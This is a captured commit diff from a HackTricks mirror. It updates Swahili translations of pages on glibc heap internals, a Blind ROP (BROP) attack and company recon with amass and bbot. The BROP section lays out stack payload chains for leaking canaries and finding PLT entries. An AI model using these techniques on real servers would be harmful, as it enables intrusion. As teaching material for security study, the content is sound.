2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-20 16:08:27 +00:00

Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat

This commit is contained in:
Translator 2024-09-23 23:36:16 +00:00
parent 294e5aba15
commit c90e0a2beb
34 changed files with 966 additions and 404 deletions

Binary file not shown.

Before

(image error) Size: 176 KiB

After

(image error) Size: 1.6 KiB

Binary file not shown.

Before

(image error) Size: 1.6 KiB

After

(image error) Size: 32 KiB

Binary file not shown.

Before

(image error) Size: 32 KiB

After

(image error) Size: 142 KiB

Binary file not shown.

Before

(image error) Size: 142 KiB

After

(image error) Size: 108 KiB

Binary file not shown.

Before

(image error) Size: 108 KiB

After

(image error) Size: 63 KiB

Binary file not shown.

Before

(image error) Size: 63 KiB

After

(image error) Size: 36 KiB

Binary file not shown.

Before

(image error) Size: 36 KiB

After

(image error) Size: 3.7 KiB

Binary file not shown.

Before

(image error) Size: 3.7 KiB

After

(image error) Size: 12 KiB

Binary file not shown.

Before

(image error) Size: 12 KiB

After

(image error) Size: 4.1 KiB

Binary file not shown.

Before

(image error) Size: 4.1 KiB

After

(image error) Size: 131 KiB

Binary file not shown.

Before

(image error) Size: 131 KiB

After

(image error) Size: 30 KiB

View file

@ -189,6 +189,7 @@
* [macOS Default Sandbox Debug](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md)
* [macOS Sandbox Debug & Bypass](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md)
* [macOS Office Sandbox Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md)
* [macOS Authorizations DB & Authd](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md)
* [macOS SIP](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md)
* [macOS TCC](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md)
* [macOS Apple Events](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-events.md)
@ -196,7 +197,8 @@
* [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md)
* [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md)
* [macOS Dangerous Entitlements & TCC perms](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md)
* [macOS MACF](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md)
* [macOS - AMFI - AppleMobileFileIntegrity](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md)
* [macOS MACF - Mandatory Access Control Framework](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md)
* [macOS Code Signing](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md)
* [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md)
* [macOS xattr-acls extra stuff](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md)
@ -841,7 +843,7 @@
* [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
* [Industrial Control Systems Hacking](todo/industrial-control-systems-hacking/README.md)
* [Test LLMs](todo/test-llms.md)
* [LLM Training - Data Preparation](todo/llm-training-data-preparation/README.md)
* [LLM Training](todo/llm-training-data-preparation/README.md)
* [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
* [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
* [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)

View file

@ -12,13 +12,13 @@ Kama inavyoonyeshwa, iko tu baada ya ambapo binary inapo load kwenye kumbukumbu
Wakati data fulani inapoombwa kuhifadhiwa kwenye heap, nafasi fulani ya heap inatengwa kwa ajili yake. Nafasi hii itakuwa ya bin na ni data iliyohitajika tu + nafasi ya vichwa vya bin + ofset ya ukubwa wa chini wa bin itahifadhiwa kwa chunk. Lengo ni kuhifadhi kumbukumbu kidogo iwezekanavyo bila kufanya iwe ngumu kupata kila chunk ilipo. Kwa hili, taarifa za metadata za chunk zinatumika kujua kila chunk iliyotumika/iliyopatikana ilipo.
Kuna njia tofauti za kuhifadhi nafasi hasa kulingana na bin inayotumika, lakini mbinu ya jumla ni ifuatayo:
Kuna njia tofauti za kutenga nafasi hasa kulingana na bin inayotumika, lakini mbinu ya jumla ni ifuatayo:
* Programu inaanza kwa kuomba kiasi fulani cha kumbukumbu.
* Ikiwa katika orodha ya chunks kuna mtu anapatikana mkubwa wa kutosha kutimiza ombi, itatumika
* Hii inaweza hata kumaanisha kwamba sehemu ya chunk inayopatikana itatumika kwa ombi hili na iliyobaki itaongezwa kwenye orodha ya chunks
* Ikiwa hakuna chunk inayopatikana katika orodha lakini bado kuna nafasi katika kumbukumbu ya heap iliyotengwa, meneja wa heap anaunda chunk mpya
* Ikiwa hakuna nafasi ya kutosha ya heap kutenga chunk mpya, meneja wa heap anaomba kernel kuongeza kumbukumbu iliyotengwa kwa heap na kisha kutumia kumbukumbu hii kuunda chunk mpya
* Ikiwa katika orodha ya chunks kuna mtu anapatikana mkubwa wa kutosha kutimiza ombi, itatumika.
* Hii inaweza hata kumaanisha kwamba sehemu ya chunk inayopatikana itatumika kwa ombi hili na iliyobaki itaongezwa kwenye orodha ya chunks.
* Ikiwa hakuna chunk inayopatikana katika orodha lakini bado kuna nafasi katika kumbukumbu ya heap iliyotengwa, meneja wa heap anaunda chunk mpya.
* Ikiwa hakuna nafasi ya kutosha ya heap kutenga chunk mpya, meneja wa heap anaomba kernel kuongeza kumbukumbu iliyotengwa kwa heap na kisha kutumia kumbukumbu hii kuunda chunk mpya.
* Ikiwa kila kitu kinashindwa, `malloc` inarudisha null.
Kumbuka kwamba ikiwa **kumbukumbu iliyohitajika inapita kigezo fulani**, **`mmap`** itatumika kubaini kumbukumbu iliyohitajika.
@ -27,11 +27,11 @@ Kumbuka kwamba ikiwa **kumbukumbu iliyohitajika inapita kigezo fulani**, **`mmap
Katika **maombi ya multithreaded**, meneja wa heap lazima kuzuia **mashindano** ambayo yanaweza kusababisha ajali. Awali, hii ilifanywa kwa kutumia **mutex ya kimataifa** kuhakikisha kwamba ni thread moja tu inaweza kufikia heap kwa wakati mmoja, lakini hii ilisababisha **masuala ya utendaji** kutokana na kuzuiliwa kwa mutex.
Ili kushughulikia hili, allocator wa heap ptmalloc2 ilianzisha "arenas," ambapo **kila arena** inafanya kazi kama **heap tofauti** yenye **miundo** yake **ya data** na **mutex**, ikiruhusu nyuzi nyingi kufanya operesheni za heap bila kuingiliana, mradi tu watumie arenas tofauti.
Ili kushughulikia hili, allocator wa heap ptmalloc2 ilianzisha "arenas," ambapo **kila arena** inafanya kazi kama **heap tofauti** yenye **miundo** yake **mwenyewe** na **mutex**, ikiruhusu nyuzi nyingi kufanya operesheni za heap bila kuingiliana, mradi tu watumie arenas tofauti.
Arena ya "muhimu" inashughulikia operesheni za heap kwa maombi ya nyuzi moja. Wakati **nyuzi mpya** zinapoongezwa, meneja wa heap anawapa **arenas za sekondari** ili kupunguza ushindani. Kwanza inajaribu kuunganisha kila nyuzi mpya na arena isiyotumika, ikiumba mpya ikiwa inahitajika, hadi kikomo cha mara 2 ya idadi ya nyuzi za CPU kwa mifumo ya 32-bit na mara 8 kwa mifumo ya 64-bit. Mara kikomo kinapofikiwa, **nyuzi lazima zishiriki arenas**, na kusababisha ushindani wa uwezekano.
Tofauti na arena ya msingi, ambayo inapanuka kwa kutumia wito wa mfumo wa `brk`, arenas za sekondari zinaunda "subheaps" kwa kutumia `mmap` na `mprotect` ili kuiga tabia ya heap, ikiruhusu kubadilika katika kusimamia kumbukumbu kwa operesheni za multithreaded.
Tofauti na arena ya msingi, ambayo inapanuka kwa kutumia wito wa mfumo wa `brk`, arenas za sekondari zinaunda "subheaps" kwa kutumia `mmap` na `mprotect` kuiga tabia ya heap, ikiruhusu kubadilika katika usimamizi wa kumbukumbu kwa operesheni za multithreaded.
### Subheaps
@ -39,10 +39,10 @@ Subheaps hutumikia kama akiba ya kumbukumbu kwa arenas za sekondari katika maomb
1. **Heap ya Awali vs. Subheaps**:
* Heap ya awali iko moja kwa moja baada ya binary ya programu katika kumbukumbu, na inapanuka kwa kutumia wito wa mfumo wa `sbrk`.
* Subheaps, zinazotumiwa na arenas za sekondari, zinaundwa kupitia `mmap`, wito wa mfumo unaoelekeza eneo fulani la kumbukumbu.
* Subheaps, zinazotumiwa na arenas za sekondari, zinaundwa kupitia `mmap`, wito wa mfumo unaoelekeza eneo maalum la kumbukumbu.
2. **Hifadhi ya Kumbukumbu kwa kutumia `mmap`**:
* Wakati meneja wa heap anaunda subheap, anahifadhi block kubwa ya kumbukumbu kupitia `mmap`. Hifadhi hii haitoi kumbukumbu mara moja; inateua tu eneo ambalo michakato mingine ya mfumo au ugawaji haipaswi kutumia.
* Kwa kawaida, ukubwa uliotengwa kwa subheap ni 1 MB kwa michakato ya 32-bit na 64 MB kwa michakato ya 64-bit.
* Kwa kawaida, ukubwa wa hifadhi kwa subheap ni 1 MB kwa michakato ya 32-bit na 64 MB kwa michakato ya 64-bit.
3. **Upanuzi wa Polepole kwa kutumia `mprotect`**:
* Eneo la kumbukumbu lililotengwa awali linapewa alama kama `PROT_NONE`, ikionyesha kwamba kernel haitaji kutenga kumbukumbu halisi kwa nafasi hii bado.
* Ili "kukua" subheap, meneja wa heap anatumia `mprotect` kubadilisha ruhusa za ukurasa kutoka `PROT_NONE` hadi `PROT_READ | PROT_WRITE`, ikimhimiza kernel kutenga kumbukumbu halisi kwa anwani zilizotengwa hapo awali. Njia hii ya hatua kwa hatua inaruhusu subheap kupanuka kadri inavyohitajika.
@ -88,9 +88,9 @@ Kuna mambo kadhaa ya kuvutia ya kuzingatia kutoka kwa muundo huu (angalia msimbo
```
* `mchunkptr bins[NBINS * 2 - 2];` ina **viungo** kwa **chunks za kwanza na za mwisho** za **bins** ndogo, kubwa na zisizo na mpangilio (the -2 ni kwa sababu index 0 haitumiki)
* Kwa hivyo, **chunk ya kwanza** ya bins hizi itakuwa na **kiungo cha nyuma kwa muundo huu** na **chunk ya mwisho** ya bins hizi itakuwa na **kiungo cha mbele** kwa muundo huu. Ambayo kimsingi inamaanisha kwamba ikiwa unaweza **kuvuja anwani hizi katika main arena** utakuwa na kiungo kwa muundo katika **libc**.
* Miundo `struct malloc_state *next;` na `struct malloc_state *next_free;` ni orodha zilizounganishwa za maeneo
* Chunk ya `top` ni "chunk" ya mwisho, ambayo kimsingi ni **nafasi yote iliyobaki ya heap**. Mara tu chunk ya juu inapokuwa "bila", heap imetumika kabisa na inahitaji kuomba nafasi zaidi.
* Chunk ya `last reminder` inatokana na hali ambapo chunk ya ukubwa sahihi haipatikani na kwa hivyo chunk kubwa inakatwa, sehemu iliyobaki ya kiungo inawekwa hapa.
* Miundo `struct malloc_state *next;` na `struct malloc_state *next_free;` ni orodha za kuunganisha za arenas
* Chunk ya `top` ni "chunk" ya mwisho, ambayo kimsingi ni **nafasi yote iliyobaki ya heap**. Mara chunk ya juu inapokuwa "bila", heap imetumika kabisa na inahitaji kuomba nafasi zaidi.
* Chunk ya `last reminder` inatokana na hali ambapo chunk ya ukubwa sahihi haipatikani na kwa hivyo chunk kubwa inakatwa, sehemu ya kiungo iliyobaki inawekwa hapa.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -177,7 +177,7 @@ Zaidi ya hayo, wakati inapatikana, data ya mtumiaji inatumika pia kubeba data fu
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
{% hint style="info" %}
Kumbuka jinsi kuunganisha orodha kwa njia hii kunazuia haja ya kuwa na array ambapo kila kipande kimoja kinarekodiwa.
Kumbuka jinsi kuunganisha orodha kwa njia hii kunazuia hitaji la kuwa na array ambapo kila kipande kimoja kinarekodiwa.
{% endhint %}
### Kielekezi za Kipande
@ -201,9 +201,9 @@ Kwa ajili ya mabadiliko haya, kazi hizi zinatumika:
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
```
### Alignment & min size
### Mwelekeo & ukubwa wa chini
Pointer kwa chunk na `0x0f` lazima iwe 0.
Pointer kwa kipande na `0x0f` lazima iwe 0.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@ -470,17 +470,17 @@ return 0;
Kwa kuangalia mfano wa awali, inawezekana kuona jinsi mwanzoni kuna arena 1 tu:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Kisha, baada ya kuita thread ya kwanza, ile inayoiita malloc, arena mpya inaundwa:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
na ndani yake kuna chunks kadhaa zinazopatikana:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Allocations/Frees za Kumbukumbu
## Bins & Memory Allocations/Frees
Angalia ni zipi bins na jinsi zilivyoandaliwa na jinsi kumbukumbu inavyotolewa na kuachiliwa katika:
@ -488,15 +488,15 @@ Angalia ni zipi bins na jinsi zilivyoandaliwa na jinsi kumbukumbu inavyotolewa n
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
## Ukaguzi wa Usalama wa Kazi za Heap
## Heap Functions Security Checks
Kazi zinazohusiana na heap zitaweka ukaguzi fulani kabla ya kutekeleza vitendo vyake ili kujaribu kuhakikisha kuwa heap haijaharibiwa:
Functions zinazohusiana na heap zitafanya ukaguzi fulani kabla ya kutekeleza vitendo vyake ili kujaribu kuhakikisha kuwa heap haijaharibiwa:
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
{% endcontent-ref %}
## Marejeleo
## References
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View file

@ -1,8 +1,8 @@
# BROP - Blind Return Oriented Programming
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -25,7 +25,7 @@ Shambulio hili linategemea hali ifuatayo:
## Shambulio
### **1. Pata offset iliyo hatarini** ukituma herufi moja zaidi hadi kutambua hitilafu ya seva
### **1. Pata offset iliyo hatarini** ukituma herufi moja zaidi hadi kasoro ya seva itambuliwe
### **2. Brute-force canary** ili kuvuja
@ -35,13 +35,13 @@ Unaweza kupata maelezo zaidi kuhusu michakato hii [hapa (BF Forked & Threaded St
### **4. Pata gadget ya kusimamisha**
Gadget hii kimsingi inaruhusu kuthibitisha kwamba kitu cha kuvutia kimefanywa na gadget ya ROP kwa sababu utekelezaji haukuanguka. Kawaida, gadget hii itakuwa kitu ambacho **kinasimamisha utekelezaji** na iko mwishoni mwa mchain ya ROP wakati wa kutafuta gadgets za ROP ili kuthibitisha gadget maalum ya ROP ilitekelezwa
Gadget hii kimsingi inaruhusu kuthibitisha kwamba kitu cha kuvutia kimefanywa na gadget ya ROP kwa sababu utekelezaji haukuanguka. Kawaida, gadget hii itakuwa kitu ambacho **kinasimamisha utekelezaji** na iko mwishoni mwa mchain ya ROP wakati wa kutafuta gadgets za ROP ili kuthibitisha gadget maalum ya ROP ilitekelezwa.
### **5. Pata gadget ya BROP**
Teknolojia hii inatumia gadget ya [**ret2csu**](ret2csu.md). Na hii ni kwa sababu ikiwa unapata gadget hii katikati ya maagizo fulani unapata gadgets za kudhibiti **`rsi`** na **`rdi`**:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Hizi zingekuwa gadgets:
@ -54,19 +54,19 @@ Pia, angalia kwamba gadget ya ret2csu ina **saini ya kipekee sana** kwa sababu i
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
Ikiwa **STOP inatekelezwa**, hii kimsingi inamaanisha anwani **ambayo inachukua registers 6** kutoka kwenye stack ilitumika. Au kwamba anwani iliyotumika pia ilikuwa anwani ya STOP.
Ikiwa **STOP inatekelezwa**, hii kimsingi inamaanisha anwani **ambayo inachukua 6 registers** kutoka kwenye stack ilitumika. Au kwamba anwani iliyotumika pia ilikuwa anwani ya STOP.
Ili **kuondoa chaguo hili la mwisho** mchain mpya kama ifuatavyo inatekelezwa na haipaswi kutekeleza gadget ya STOP ili kuthibitisha kwamba ya awali ilipiga registers 6:
Ili **kuondoa chaguo hili la mwisho** mchain mpya kama ifuatavyo inatekelezwa na haipaswi kutekeleza gadget ya STOP ili kuthibitisha kwamba ya awali ilipiga 6 registers:
`'A' * offset + canary + rbp + ADDR`
Kujua anwani ya gadget ya ret2csu, inawezekana **kujua anwani ya gadgets za kudhibiti `rsi` na `rdi`**.
Kujua anwani ya gadget ya ret2csu, inawezekana **kujua anwani za gadgets za kudhibiti `rsi` na `rdi`**.
### 6. Pata PLT
Meza ya PLT inaweza kutafutwa kutoka 0x400000 au kutoka **anwani ya RIP iliyovuja** kutoka kwenye stack (ikiwa **PIE** inatumika). **Kuingia** za meza zime **gawanywa na 16B** (0x10B), na wakati kazi moja inaitwa seva haianguki hata kama hoja haziko sahihi. Pia, kuangalia anwani ya kuingia katika **PLT + 6B pia hakuanguki** kwani ni msimbo wa kwanza unaotekelezwa.
Meza ya PLT inaweza kutafutwa kutoka 0x400000 au kutoka **anwani ya RIP iliyovuja** kutoka kwenye stack (ikiwa **PIE** inatumika). **Kuingia** za meza zime **gawanywa na 16B** (0x10B), na wakati kazi moja inaitwa seva haianguki hata kama hoja haziko sahihi. Pia, kuangalia anwani ya kuingia katika **PLT + 6B pia haianguki** kwani ndiyo msimbo wa kwanza unaotekelezwa.
Kwa hivyo, inawezekana kupata meza ya PLT kuangalia tabia zifuatazo:
Kwa hivyo, inawezekana kupata meza ya PLT ukitazama tabia zifuatazo:
* `'A' * offset + canary + rbp + ADDR + STOP` -> hakuna kuanguka
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> hakuna kuanguka
@ -78,16 +78,16 @@ Kazi ya **`strcmp`** inaweka register **`rdx`** kwa urefu wa mfuatano unaolingan
Inawezekana kupata eneo la **`strcmp`** katika PLT kulingana na tabia yake kwa kutumia ukweli kwamba sasa tunaweza kudhibiti hoja 2 za kwanza za kazi:
* strcmp(\<anwani isiyo kusoma>, \<anwani isiyo kusoma>) -> kuanguka
* strcmp(\<anwani isiyo kusoma>, \<anwani ya kusoma>) -> kuanguka
* strcmp(\<anwani ya kusoma>, \<anwani isiyo kusoma>) -> kuanguka
* strcmp(\<anwani isiyo ya kusoma>, \<anwani isiyo ya kusoma>) -> kuanguka
* strcmp(\<anwani isiyo ya kusoma>, \<anwani ya kusoma>) -> kuanguka
* strcmp(\<anwani ya kusoma>, \<anwani isiyo ya kusoma>) -> kuanguka
* strcmp(\<anwani ya kusoma>, \<anwani ya kusoma>) -> hakuna kuanguka
Inawezekana kuangalia hii kwa kuita kila kuingia katika meza ya PLT au kwa kutumia **njia ya polepole ya PLT** ambayo kimsingi inajumuisha **kuita kuingia katika meza ya PLT + 0xb** (ambayo inaita **`dlresolve`**) ikifuatwa kwenye stack na **nambari ya kuingia ambayo mtu anataka kuchunguza** (ikianza na sifuri) ili kuchanganua kuingia zote za PLT kutoka ya kwanza:
* strcmp(\<anwani isiyo kusoma>, \<anwani ya kusoma>) -> kuanguka
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Itakuwa kuanguka
* strcmp(\<anwani ya kusoma>, \<anwani isiyo kusoma>) -> kuanguka
* strcmp(\<anwani isiyo ya kusoma>, \<anwani ya kusoma>) -> kuanguka
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Itanguka
* strcmp(\<anwani ya kusoma>, \<anwani isiyo ya kusoma>) -> kuanguka
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
* strcmp(\<anwani ya kusoma>, \<anwani ya kusoma>) -> hakuna kuanguka
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
@ -106,7 +106,7 @@ Kumbuka kwamba kawaida `rdx` itakuwa tayari na thamani kubwa kuliko 0, hivyo hat
### 8. Kutafuta Write au sawa
Hatimaye, inahitajika gadget inayoweza kutoa data ili kutoa binary. Na katika wakati huu inawezekana **kudhibiti hoja 2 na kuweka `rdx` kuwa kubwa kuliko 0.**
Hatimaye, inahitajika gadget inayoweza kutoa data ili kutoa binary. Na kwa wakati huu inawezekana **kudhibiti hoja 2 na kuweka `rdx` kubwa kuliko 0.**
Kuna kazi 3 za kawaida ambazo zinaweza kutumika kwa hili:
@ -116,7 +116,7 @@ Kuna kazi 3 za kawaida ambazo zinaweza kutumika kwa hili:
Hata hivyo, karatasi ya asili inataja tu ile ya **`write`**, hivyo hebu tuzungumze kuhusu hiyo:
Tatizo la sasa ni kwamba hatujui **wapi kazi ya write iko ndani ya PLT** na hatujui **nambari ya fd ya kutuma data kwa socket yetu**.
Shida ya sasa ni kwamba hatujui **wapi kazi ya write iko ndani ya PLT** na hatujui **nambari ya fd ya kutuma data kwa socket yetu**.
Hata hivyo, tunajua **wapi meza ya PLT iko** na inawezekana kupata write kulingana na **tabia yake**. Na tunaweza kuunda **michango kadhaa** na seva na kutumia **FD ya juu** tukitumaini kwamba inalingana na baadhi ya michango yetu.
@ -130,14 +130,14 @@ Saini za tabia za kupata kazi hizo:
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
## Marejeo
## Marejeleo
* Karatasi ya asili: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -23,19 +23,19 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Ugunduzi wa Mali
> Hivyo ulisemwa kwamba kila kitu kinachomilikiwa na kampuni fulani kiko ndani ya upeo, na unataka kubaini ni nini kampuni hii inamiliki.
> Kwa hivyo ulisemwa kwamba kila kitu kinachomilikiwa na kampuni fulani kiko ndani ya upeo, na unataka kubaini ni nini kampuni hii inamiliki.
Lengo la awamu hii ni kupata **makampuni yanayomilikiwa na kampuni kuu** na kisha **mali** za makampuni haya. Ili kufanya hivyo, tutafanya yafuatayo:
Lengo la awamu hii ni kupata **makampuni yanayomilikiwa na kampuni kuu** na kisha **mali** za makampuni haya. Ili kufanya hivyo, tutafanya:
1. Pata ununuzi wa kampuni kuu, hii itatupa makampuni ndani ya upeo.
2. Pata ASN (ikiwa ipo) ya kila kampuni, hii itatupa anuwai za IP zinazomilikiwa na kila kampuni.
3. Tumia utafutaji wa reverse whois kutafuta entries nyingine (majina ya mashirika, maeneo...) yanayohusiana na ya kwanza (hii inaweza kufanywa kwa njia ya kurudi).
4. Tumia mbinu nyingine kama shodan `org` na `ssl` filters kutafuta mali nyingine (hila ya `ssl` inaweza kufanywa kwa njia ya kurudi).
1. Kupata ununuzi wa kampuni kuu, hii itatupa makampuni ndani ya upeo.
2. Kupata ASN (ikiwa ipo) ya kila kampuni, hii itatupa anuwai za IP zinazomilikiwa na kila kampuni.
3. Kutumia utafutaji wa reverse whois kutafuta entries nyingine (majina ya mashirika, maeneo...) yanayohusiana na ya kwanza (hii inaweza kufanywa kwa njia ya kurudi).
4. Kutumia mbinu nyingine kama shodan `org` na `ssl` filters kutafuta mali nyingine (hila ya `ssl` inaweza kufanywa kwa njia ya kurudi).
### **Ununuzi**
Kwanza kabisa, tunahitaji kujua ni **makampuni gani mengine yanayomilikiwa na kampuni kuu**.\
Chaguo moja ni kutembelea [https://www.crunchbase.com/](https://www.crunchbase.com), **tafuta** kampuni **kuu**, na **bonyeza** kwenye "**ununuzi**". Hapo utaona makampuni mengine yaliyonunuliwa na kampuni kuu.\
Chaguo moja ni kutembelea [https://www.crunchbase.com/](https://www.crunchbase.com), **tafuta** kampuni **kuu**, na **bonyeza** kwenye "**ununuzi**". Huko utaona makampuni mengine yaliyonunuliwa na kampuni kuu.\
Chaguo lingine ni kutembelea ukurasa wa **Wikipedia** wa kampuni kuu na kutafuta **ununuzi**.
> Sawa, katika hatua hii unapaswa kujua makampuni yote ndani ya upeo. Hebu tuone jinsi ya kupata mali zao.
@ -53,7 +53,7 @@ Unaweza **kutafuta** kwa jina la kampuni, kwa **IP** au kwa **domain** katika [*
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
Pia, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** uainishaji wa subdomain unakusanya na kujumlisha ASNs kiotomatiki mwishoni mwa uchunguzi.
Pia, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** uainishaji wa subdomain unakusanya na kujumlisha ASNs kiotomatiki mwishoni mwa skana.
```bash
bbot -t tesla.com -f subdomain-enum
...
